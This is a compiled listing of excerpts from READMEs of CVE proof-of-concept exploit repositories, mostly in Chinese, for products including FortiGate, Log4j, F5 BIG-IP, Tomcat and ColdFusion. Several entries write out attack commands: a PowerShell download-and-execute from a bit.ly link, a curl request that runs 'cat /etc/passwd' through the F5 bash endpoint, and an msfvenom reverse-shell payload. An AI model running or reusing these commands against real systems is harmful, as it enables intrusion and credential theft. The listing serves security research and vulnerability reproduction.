CVE-2024-21762

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 我们要求所有被恐怖组织哈马斯劫持为人质的公民安全返回。我们不会停歇，直到每个人质获释并平安回家。你也可以帮助他们回家。https://stories.bringthemhomenow.net/ CVE-2024-21762 该PoC通过利用FortiGate中已识别的安全漏洞，展示了远程代码执行的潜力。 CVE-2024-21762 PoC 💣 描述 本仓库包含一个针对下一代防火墙FortiGate漏洞的Python利用程序。该利用程序利用一个安全缺陷在目标系统上执行任意代码。 功能 🚀 精心构造的利用漏洞的载荷...

CVE-2019-11580

CVE-2019-11580 Atlassian Crowd 与 Crowd Data Center 远程代码执行（RCE） 使用方法： python CVE-2019-11580.py http://xx.xx.xx.xx/ Crowd-2.11.0 漏洞版本下载 https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-2.11.0.tar.gz Powered by Atlassian Crowd Version: 2.11.0 Build:725 - 2017-01-11...

CVE-2025-24813-PoC-Apache-Tomcat-RCE

Apache Tomcat CVE-2025-24813 Prueba de Concepto PoC Una prueba de concepto de exploit para la vulnerabilidad de deserialización en Apache Tomcat CVE-2025-24813. Esta herramienta demuestra cómo los atacantes podrían explotar la deserialización insegura en la gestión de sesiones de Tomcat...

CVE-2025-48384

CVE-2025-48384: 利用回车键攻击git并通过克隆实现RCE 复现自 https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384。所有致谢归 David Leadbeater。 这是该漏洞的一个基本复现尝试。 要触发，在一个有漏洞的git版本上执行 git clone --recursive https://github.com/acheong08/CVE-2025-48384，你会发现在 /tmp/fishsucks 目录下突然出现一个文件。 我能在git 2.50.0版本上复现。 以下是在本地测试时使用的脚本。...

CVE-2025-1094-PoC-Postgre-SQLi

CVE-2025-1094 分析与模拟环境搭建 本详细分析于2025年3月14日进行，探讨了CVE-2025-1094（一个假设的高危PostgreSQL SQL注入漏洞），基于提供的模拟环境搭建和概念验证（PoC）执行。分析涵盖了漏洞介绍、根本原因、文件贡献、PoC步骤及缓解措施，并整合了模拟过程中的所有复杂细节。 漏洞介绍 CVE-2025-1094被描述为PostgreSQL中的一个严重SQL注入漏洞，影响17.3、16.7、15.11、14.16和13.19之前的版本，CVSS...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228（Apache Log4j 远程代码执行） 所有 log4j-core 版本 =2.0-beta9 且 =2.14.1 1.x 版本存在其他漏洞，建议您更新到最新版本。 与 Log4Shell CVE-2021-44228 相关的安全公告/通报 使用方法： 下载本项目，编译利用代码 blob/master/src/main/java/Exploit.java，并启动一个允许下载编译后二进制文件的 Web 服务器。 git clone...

CVE-2024-21513

CVE-2024-21513 CVE-2024-21513 的概念验证（PoC） 漏洞利用原始文档由 Snyk 安全研究团队提供 漏洞利用 CVE-2024-21513 是 langchain-experimental 中的一个漏洞：未经验证的 SQL 查询结果被传递给 Python 的 eval 函数，从而通过基于 SQL 的输入注入实现远程代码执行。 PoC 结构 本 PoC 是一个极其基础的 Flask 应用，内嵌 HTML，用户可以在 SQLite 数据库中输入坐标。 如果用户在 y 值中输入恶意载荷，有漏洞的 LangChain-Experimental 功能会根据 x 值获取...

CVE-2020-5902

CVE-2020-5902 / \ \ / / | | \ / \ \ / \ | / \ / \ \ | | \ \ / /| | | | | | | | | || || | | | | | | | \ / / | |/ /| | | |/ /| | | || \, | | | |/ / | | \ / | | / /| || / /| || | | / /| || / / | / || ||/|/ |/ // /| CVE-2020-5902-Scanner.py @nsflabs F5 BIG-IP...

CVE-2014-4113

CVE-2014-4113 PowerShell CVE-2014-4113 仅限 x64 Windows iex New-Object Net.WebClient.DownloadString'http://bit.ly/1qosbJH'...

SpringCloudFunction-Research

SpringCloudFunction-Research CVE-2022-22963 research 環境 vulfocus/spring-cloud-function-rce:latest 成因 Request Header 中 spring.cloud.function.routing-expression 參數解析問題，造成注入Payload攻擊。 Reference https://hosch3n.github.io/2022/03/26/SpringCloudFunction%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/...

Apache-spark-CVE-2022-33891

Apache-spark-CVE-2022-33891 Apache Spark RCE - CVE-2022-33891 PoC 关注我们 Vulnmachines平台 YouTube Twitter Facebook LinkedIn...

CVE-2022-1388-RCE-checker-and-POC-Exploit

CVE-2022-1388 RCE 检测工具 简单的 bash 脚本，用于检查 CVE-2022-1388 RCE（F5 BIG-IP）。 + 用法：./CVE-2022-1388.sh hosts.txt CVE-2022-1388 RCE POC 利用 不要忘记更改 IP 地址 curl -X POST http://10.0.0.1/mgmt/tm/util/bash -d "'command':'run','utilCmdArgs':-e 'cat /etc/passwd'" -H "Connection: keep-alive, X-F5-Auth-Token" -H...

CVE-2022-33980-Apache-Commons-Configuration-RCE

CVE-2022-33980-Apache-Commons-Configuration-RCE...

CVE-2025-49132

CVE-2025-49132 Pterodactyl es un panel de gestión de servidores de juegos gratuito y de código abierto. Antes de la versión 1.11.11, usando /locales/locale.json con los parámetros de consulta locale y namespace, un actor malicioso podía ejecutar código arbitrario sin estar autenticado. Con la...

CVE-2019-19609

CVE-2019-19609 Strapi 框架存在远程代码执行漏洞 好吧，我没找到针对 CVE-2019-19609 的利用代码，所以我写了一个。:/ 用法 python3 exploit.py 视频 https://youtu.be/alhZJmuUd2s 更多信息 https://hack-fast.herokuapp.com/cve/CVE-2019-19609 https://github.com/strapi/strapi/pull/4636...

CVE-2018-16341

CVE-2018-16341 利用 SSTI 绕过 Nuxeo 认证实现远程代码执行（版本 span style="color:red;font-weight...

CheckHKRCE

CheckHKRCE CVE-2021-36260 源代码基于：https://github.com/mcw0/PoC/blob/master/CVE-2021-36260.py 安装 Python 3.8 + pip install requests Windows 10 操作系统、Linux Ubuntu 使用 python3 CheckHKRCE.py --rhost 192.168.1.11 --rport 80 --check CheckHKRCE.exe --rhost 192.168.1.11 --rport 80 --check...

CVE-2024-28397-js2py-Sandbox-Escape

介绍 分析 js2py是一个知名的python包，它可以在python解释器中执行JS代码。其经常用在各类爬虫中，用于解析网页的JS代码。 js2py的某个全局变量存在一个漏洞，攻击者可以使用这个漏洞在js代码中获得一个python对象的引用，使得攻击者可以逃逸js环境，在主机上执行任意命令。 用户一般会调用js2py.disablepyimport阻止JS代码使用pyimport调用python模块，从而防止代码沙盒逃逸。但是使用这个漏洞，攻击者可以绕过这个限制，在主机上执行任意代码。...

CVE-2009-2265

版本：ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp 示例：...

CVE-2019-2107

CVE-2019-2107 CVE-2019-2107 CVE-2019-2107 - 看起来很可怕。还记得 Stagefright 和 PNG 漏洞吗？利用 CVE-2019-2107，解码器/编解码器在 mediacodec 用户下运行，通过精心“构造”的视频（启用了分片 - pspps-i1tilesenabledflag），你可能能够实现 RCE。受影响的编解码器是 HVEC（也称为 H.265 和 MPEG-H Part 2） exploit rce android stagefright cve 更多信息 LineageOS Android: 02-11 20:18:48.2...